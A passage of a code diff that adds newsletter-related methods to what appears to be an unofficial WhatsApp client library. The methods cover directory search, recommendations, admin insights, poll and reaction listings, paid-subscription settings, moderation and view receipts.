+ * @param {object} updates - Admin profile fields to update
451
+ */
452
+ newsletterAdminProfileUpdate: async (jid, updates) => {
453
+ return executeWMexQuery(
454
+ { newsletter_id: jid, updates },
455
+ Types_1.QueryIds.ADMIN_PROFILE_UPDATE,
456
+ Types_1.XWAPaths.xwa2_newsletter_admin_profile_update
457
+ )
458
+ },
459
+ /**
460
+ * Browse the newsletter directory by category.
461
+ *
462
+ * @param {object} options
463
+ * @param {number} [options.limit=20]
464
+ * @param {string[]} [options.interests] - Category filters
465
+ * @param {string} [options.sortField='SUBSCRIBER_COUNT']
466
+ * @param {string} [options.sortOrder='DESC']
467
+ */
468
+ newsletterDirectoryList: async (options = {}) => {
469
+ const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
470
+ const variables = { limit, sort_field: sortField, sort_order: sortOrder }
471
+ if (interests?.length) variables.interests = interests
472
+ return executeWMexQuery(variables, Types_1.QueryIds.DIRECTORY_LIST, Types_1.XWAPaths.xwa2_newsletters_directory_list)
473
+ },
474
+ /**
475
+ * Search the newsletter directory.
476
+ *
477
+ * @param {string} searchText - Search query string
478
+ * @param {object} options
479
+ * @param {number} [options.limit=20]
480
+ * @param {string} [options.startCursor] - Pagination cursor
481
+ * @param {string[]} [options.categories] - Category filters
482
+ */
483
+ newsletterDirectorySearch: async (searchText, options = {}) => {
484
+ const { limit = 20, startCursor = null, categories = null } = options
485
+ const variables = { search_text: searchText, limit }
486
+ if (startCursor) variables.start_cursor = startCursor
487
+ if (categories?.length) variables.categories = categories
488
+ return executeWMexQuery(
489
+ variables,
490
+ Types_1.QueryIds.DIRECTORY_SEARCH,
491
+ Types_1.XWAPaths.xwa2_newsletters_directory_search
492
+ )
493
+ },
494
+ /**
495
+ * Fetch a preview of newsletters grouped by directory category.
496
+ *
497
+ * @param {number} [limit=5] - Newsletters per category
498
+ */
499
+ newsletterDirectoryCategoryPreview: async (limit = 5) => {
500
+ return executeWMexQuery(
501
+ { limit },
502
+ Types_1.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
503
+ Types_1.XWAPaths.xwa2_newsletters_directory_category_preview
504
+ )
505
+ },
506
+ /**
507
+ * Search for newsletters by text query.
508
+ *
509
+ * @param {string} query - Search string
510
+ * @param {number} [limit=20]
511
+ * @param {string} [startCursor] - Pagination cursor
512
+ */
513
+ newsletterSearch: async (query, limit = 20, startCursor = null) => {
514
+ const variables = { query, limit }
515
+ if (startCursor) variables.start_cursor = startCursor
516
+ return executeWMexQuery(variables, Types_1.QueryIds.SEARCH, Types_1.XWAPaths.xwa2_newsletters_search)
517
+ },
518
+ /**
519
+ * Fetch recommended newsletters.
520
+ *
521
+ * @param {number} [limit=10]
522
+ * @param {number} [numFollowed] - Number of newsletters the user already follows (used for ranking)
523
+ */
524
+ newsletterRecommended: async (limit = 10, numFollowed = null) => {
525
+ const variables = { limit }
526
+ if (numFollowed != null) variables.num_newsletters_followed = numFollowed
527
+ return executeWMexQuery(variables, Types_1.QueryIds.RECOMMENDED, Types_1.XWAPaths.xwa2_newsletters_recommended)
528
+ },
529
+ /**
530
+ * Fetch newsletters similar to a given newsletter.
531
+ *
532
+ * @param {string} jid - Newsletter JID to find similar newsletters for
533
+ * @param {number} [limit=10]
534
+ */
535
+ newsletterSimilar: async (jid, limit = 10) => {
536
+ return executeWMexQuery(
537
+ { newsletter_id: jid, limit },
538
+ Types_1.QueryIds.SIMILAR,
539
+ Types_1.XWAPaths.xwa2_newsletters_similar
540
+ )
541
+ },
542
+ /**
543
+ * Fetch the list of newsletters the current user is following.
544
+ *
545
+ * @param {string} [startCursor] - Pagination cursor
546
+ * @param {number} [limit=20]
547
+ */
548
+ newsletterFollowingList: async (startCursor = null, limit = 20) => {
549
+ const variables = { limit }
550
+ if (startCursor) variables.start_cursor = startCursor
551
+ return executeWMexQuery(variables, Types_1.QueryIds.FOLLOWING_LIST, Types_1.XWAPaths.xwa2_newsletter_following)
552
+ },
553
+ /**
554
+ * Fetch admin insights/analytics for a newsletter.
555
+ *
556
+ * @param {string} jid - Newsletter JID
557
+ * @param {string} [period] - Time period e.g. 'LAST_7_DAYS', 'LAST_30_DAYS'
558
+ */
559
+ newsletterInsights: async (jid, period = null) => {
560
+ const variables = { newsletter_id: jid }
561
+ if (period) variables.period = period
562
+ return executeWMexQuery(variables, Types_1.QueryIds.INSIGHTS, Types_1.XWAPaths.xwa2_newsletter_admin_insights)
563
+ },
564
+ /**
565
+ * Fetch the list of users who voted in a newsletter poll.
566
+ *
567
+ * @param {string} jid - Newsletter JID
568
+ * @param {string} serverId - Server-side message ID of the poll
569
+ * @param {string} [option] - Poll option to filter voters by
570
+ * @param {string} [startCursor] - Pagination cursor
571
+ */
572
+ newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
573
+ const variables = { id: jid, server_id: serverId }
574
+ if (option != null) variables.option = option
575
+ if (startCursor) variables.start_cursor = startCursor
576
+ return executeWMexQuery(
577
+ variables,
578
+ Types_1.QueryIds.POLL_VOTER_LIST,
579
+ Types_1.XWAPaths.xwa2_newsletters_poll_voter_list
580
+ )
581
+ },
582
+ /**
583
+ * Fetch the list of users who reacted to a newsletter message.
584
+ *
585
+ * @param {string} jid - Newsletter JID
586
+ * @param {string} serverId - Server-side message sort ID
587
+ * @param {string} [startCursor] - Pagination cursor
588
+ */
589
+ newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
590
+ const variables = { id: jid, server_id: serverId }
591
+ if (startCursor) variables.start_cursor = startCursor
592
+ return executeWMexQuery(
593
+ variables,
594
+ Types_1.QueryIds.REACTION_SENDERS_LIST,
595
+ Types_1.XWAPaths.xwa2_newsletters_reaction_sender_list
596
+ )
597
+ },
598
+ /**
599
+ * Block a user from a newsletter (admin action).
600
+ *
601
+ * @param {string} jid - Newsletter JID
602
+ * @param {string} userJid - JID of the user to block
603
+ */
604
+ newsletterBlockUser: async (jid, userJid) => {
605
+ return executeWMexQuery(
606
+ { newsletter_id: jid, user_id: userJid },
607
+ Types_1.QueryIds.BLOCK_USER,
608
+ 'xwa2_newsletter_block_user'
609
+ )
610
+ },
611
+ /**
612
+ * Enable Wamo (paid subscription) for a newsletter.
613
+ *
614
+ * @param {string} jid - Newsletter JID
615
+ */
616
+ newsletterEnableWamo: async jid => {
617
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
618
+ },
619
+ /**
620
+ * Disable Wamo (paid subscription) for a newsletter.
621
+ *
622
+ * @param {string} jid - Newsletter JID
623
+ */
624
+ newsletterDisableWamo: async jid => {
625
+ return executeWMexQuery(
626
+ { newsletter_id: jid },
627
+ Types_1.QueryIds.WAMO_DISABLE_SUB,
628
+ 'xwa2_newsletter_wamo_disable_sub'
629
+ )
630
+ },
631
+ /**
632
+ * Change the Wamo subscription tier or settings for a newsletter.
633
+ *
634
+ * @param {string} jid - Newsletter JID
635
+ * @param {object} subConfig - Subscription configuration (tier, price, etc.)
636
+ */
637
+ newsletterChangeWamo: async (jid, subConfig) => {
638
+ return executeWMexQuery(
639
+ { newsletter_id: jid, ...subConfig },
640
+ Types_1.QueryIds.WAMO_CHANGE_SUB,
641
+ 'xwa2_newsletter_wamo_change_sub'
642
+ )
643
+ },
644
+ /**
645
+ * Fetch Wamo AFS age collection data.
646
+ * @param {string} jid - Newsletter JID
647
+ */
648
+ wamoAfsAgeCollection: async jid =>
649
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_AFS_AGE_COLLECTION, Types_1.XWAPaths.xwa2_wamo_afs_age_collection),
650
+ /**
651
+ * Fetch Wamo asset collection (images/assets for Wamo UI).
652
+ * @param {string} jid - Newsletter JID
653
+ */
654
+ wamoAssetCollection: async jid =>
655
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_ASSET_COLLECTION, Types_1.XWAPaths.xwa2_wamo_asset_collection),
656
+ /**
657
+ * Fetch a Wamo ad-hoc notice by ID.
658
+ * @param {string} noticeId - Notice ID to fetch
659
+ */
660
+ wamoFetchAdhocNotice: async noticeId =>
661
+ executeWMexQuery({ notice_id: noticeId }, Types_1.QueryIds.WAMO_FETCH_ADHOC_NOTICE, Types_1.XWAPaths.xwa2_wamo_fetch_adhoc_notice_by_id),
662
+ /**
663
+ * Fetch the Wamo identity token for a newsletter.
664
+ * @param {string} jid - Newsletter JID
665
+ */
666
+ wamoFetchIdentityToken: async jid =>
667
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_FETCH_IDENTITY_TOKEN, Types_1.XWAPaths.xwa2_wamo_fetch_identity_token),
668
+ /**
669
+ * Get Wamo subscription compliance info.
670
+ * @param {string} jid - Newsletter JID
671
+ */
672
+ wamoSubComplianceInfo: async jid =>
673
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_SUB_COMPLIANCE_INFO, Types_1.XWAPaths.xwa2_wamo_sub_get_compliance_info),
674
+ /**
675
+ * Get the Wamo user ID version for a newsletter.
676
+ * @param {string} jid - Newsletter JID
677
+ */
678
+ wamoUserIdVersion: async jid =>
679
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_USER_ID_VERSION, Types_1.XWAPaths.xwa2_wamo_user_id_version),
680
+ /**
681
+ * Set the Wamo user ID version for a newsletter.
682
+ * @param {string} jid - Newsletter JID
683
+ * @param {number} version - Version to set
684
+ */
685
+ wamoSetUserIdVersion: async (jid, version) =>
686
+ executeWMexQuery({ newsletter_id: jid, version }, Types_1.QueryIds.WAMO_SET_USER_ID_VERSION, Types_1.XWAPaths.xwa2_wamo_set_user_id_version),
687
+ /**
688
+ * Leave a newsletter (unsubscribe).
689
+ * @param {string} jid - Newsletter JID
690
+ */
691
+ newsletterLeave: async jid =>
692
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.LEAVE, Types_1.XWAPaths.xwa2_newsletter_leave_v2),
693
+ /**
694
+ * Create a verified newsletter.
695
+ * @param {string} name - Newsletter name
696
+ * @param {string} [description]
697
+ */
698
+ newsletterCreateVerified: async (name, description = null) =>
699
+ executeWMexQuery(
700
+ { input: { name, description } },
701
+ Types_1.QueryIds.CREATE_VERIFIED,
702
+ Types_1.XWAPaths.xwa2_newsletter_create_verified
703
+ ),
704
+ /**
705
+ * Fetch newsletter enforcements (ban/restriction info).
706
+ * @param {string} jid - Newsletter JID
707
+ */
708
+ newsletterEnforcements: async jid =>
709
+ executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.ENFORCEMENTS, Types_1.XWAPaths.xwa2_newsletter_enforcements),
710
+ /**
711
+ * Fetch user reports for a newsletter (admin action).
712
+ * @param {string} jid - Newsletter JID
713
+ * @param {string} [cursor] - Pagination cursor
714
+ */
715
+ newsletterUserReports: async (jid, cursor = null) => {
716
+ const variables = { newsletter_id: jid }
717
+ if (cursor) variables.cursor = cursor
718
+ return executeWMexQuery(variables, Types_1.QueryIds.USER_REPORTS, Types_1.XWAPaths.xwa2_newsletter_user_reports)
719
+ },
720
+ /**
721
+ * Create a report appeal for a newsletter.
722
+ * @param {string} jid - Newsletter JID
723
+ * @param {string} reason - Appeal reason text
724
+ */
725
+ newsletterCreateReportAppeal: async (jid, reason) =>
726
+ executeWMexQuery(
727
+ { newsletter_id: jid, reason },
728
+ Types_1.QueryIds.CREATE_REPORT_APPEAL,
729
+ Types_1.XWAPaths.xwa2_newsletter_create_report_appeal
730
+ ),
731
+ /**
732
+ * Check a newsletter link preview.
733
+ * @param {string} url - URL to preview
734
+ */
735
+ newsletterLinkPreviewCheck: async url =>
736
+ executeWMexQuery({ url }, Types_1.QueryIds.LINK_PREVIEW_CHECK, Types_1.XWAPaths.xwa2_newsletter_link_preview_check),
737
+ /**
738
+ * Update newsletter verification status (admin/platform action).
739
+ * @param {string} jid - Newsletter JID
740
+ * @param {string} verification - Verification status
741
+ */
742
+ newsletterUpdateVerification: async (jid, verification) =>
743
+ executeWMexQuery(
744
+ { newsletter_id: jid, verification },
745
+ Types_1.QueryIds.UPDATE_VERIFICATION,
746
+ Types_1.XWAPaths.xwa2_newsletter_update_verification
747
+ ),
748
+ /**
749
+ * Label a newsletter post as paid partnership.
750
+ * @param {string} jid - Newsletter JID
751
+ * @param {string} serverId - Server message ID
752
+ * @param {boolean} isPaidPartnership
753
+ */
754
+ newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
755
+ executeWMexQuery(
756
+ { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
757
+ Types_1.QueryIds.LABEL_PAID_PARTNERSHIP,
758
+ Types_1.XWAPaths.xwa2_newsletter_label_paid_partnership
759
+ ),
760
+ /**
761
+ * Log newsletter exposure events (analytics).
762
+ * @param {{ newsletter_id: string, exposure_type: string }[]} events
763
+ */
764
+ newsletterLogExposures: async events =>
765
+ executeWMexQuery({ events }, Types_1.QueryIds.LOG_EXPOSURES, Types_1.XWAPaths.xwa2_newsletter_log_exposures),
766
+ /**
767
+ * Update user-specific newsletter setting (e.g. notification prefs).
768
+ * @param {string} jid - Newsletter JID
769
+ * @param {object} setting - Setting key/value
770
+ */
771
+ newsletterUpdateUserSetting: async (jid, setting) =>
772
+ executeWMexQuery(
773
+ { newsletter_id: jid, ...setting },
774
+ Types_1.QueryIds.UPDATE_USER_SETTING,
775
+ Types_1.XWAPaths.xwa2_newsletter_update_user_setting
776
+ ),
777
+ /**
778
+ * Fetch newsletter ranking features (ML signals).
779
+ * @param {string} jid - Newsletter JID
780
+ */
781
+ newsletterRankingFeatures: async jid =>
782
+ executeWMexQuery(
783
+ { newsletter_id: jid },
784
+ Types_1.QueryIds.RANKING_FEATURES,
785
+ Types_1.XWAPaths.xwa2_newsletter_ranking_features
786
+ ),
787
+ /**
788
+ * Send view receipts for newsletter messages (marks them as seen).
789
+ * serverMessageIds: array of numeric server-side message IDs.
790
+ * Mirrors SendViewReceiptJob in the APK — builds a receipt stanza
791
+ * with type="view" and a <list> of <item server_id="..."/> children.
792
+ */
793
+ newsletterSendViewReceipt: async (jid, serverMessageIds) => {
794
+ const ids = Array.isArray(serverMessageIds) ? serverMessageIds : [serverMessageIds]
795
+ const receiptId = generateMessageTag()
796
+ await query({
797
+ tag: 'receipt',
798
+ attrs: {
799
+ to: jid,
800
+ id: receiptId,
801
+ type: 'view'
802
+ },
803
+ content: [
804
+ {
805
+ tag: 'list',
806
+ attrs: {},
807
+ content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
808
+ }
809
+ ]
810
+ })
811
+ }
812
+ }
813
+ }
814
+ exports.makeNewsletterSocket = makeNewsletterSocket